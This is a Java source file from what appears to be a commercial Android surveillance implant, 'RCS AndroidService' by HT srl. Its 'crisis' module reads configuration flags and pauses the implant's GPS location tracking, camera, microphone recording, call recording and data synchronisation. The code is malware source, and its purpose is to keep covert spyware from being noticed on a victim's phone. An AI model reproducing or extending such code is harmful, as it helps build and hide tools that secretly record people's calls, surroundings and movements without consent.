/* *******************************************
* Copyright (c) 2011
* HT srl, All rights reserved.
* Project : RCS, AndroidService
* File : AgentCrisis.java
* Created : 6-mag-2011
* Author : zeno
* *******************************************/
package com.android.dvci.module;
import com.android.dvci.Status;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.ConfModule;
import com.android.dvci.conf.ConfigurationException;
import com.android.dvci.evidence.EvidenceBuilder;
import com.android.dvci.util.Check;
import com.android.mm.M;
public class ModuleCrisis extends BaseModule {
private static final String TAG = "ModuleCrisis"; //$NON-NLS-1$
//$NON-NLS-1$
public static final int NONE = 0x0; // Per retrocompatibilita'
public static final int POSITION = 0x1; // Inibisci il GPS/GSM/WiFi Location
// Agent
public static final int CAMERA = 0x2; // Inibisci il Camera Agent
public static final int MIC = 0x3; // Inibisci la registrazione del
// microfono
public static final int CALL = 0x4; // Inibisci l'agente di registrazione
// delle chiamate
public static final int SYNC = 0x5; // Inibisci tutte le routine di
// sincronizzazione
public static final int SIZE = 0x6;
// private int type;
@Override
public void actualStart() {
Status.self().startCrisis();
EvidenceBuilder.info(M.e("Crisis started")); //$NON-NLS-1$
}
@Override
public void actualStop() {
Status.self().stopCrisis();
EvidenceBuilder.info(M.e("Crisis stopped")); //$NON-NLS-1$
}
@Override
public boolean parse(ConfModule conf) {
Status status = Status.self();
try {
if (conf.getBoolean("synchronize")) {
status.setCrisis(SYNC, true);
}
if (conf.getBoolean("call")) {
status.setCrisis(CALL, true);
}
if (conf.getBoolean("mic")) {
status.setCrisis(MIC, true);
}
if (conf.getBoolean("camera")) {
status.setCrisis(CAMERA, true);
}
if (conf.getBoolean("position")) {
status.setCrisis(POSITION, true);
}
} catch (ConfigurationException e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(TAG + " (parse) Error: " + e);
}
return false;
}
return true;
}
@Override
public void actualGo() {
}
}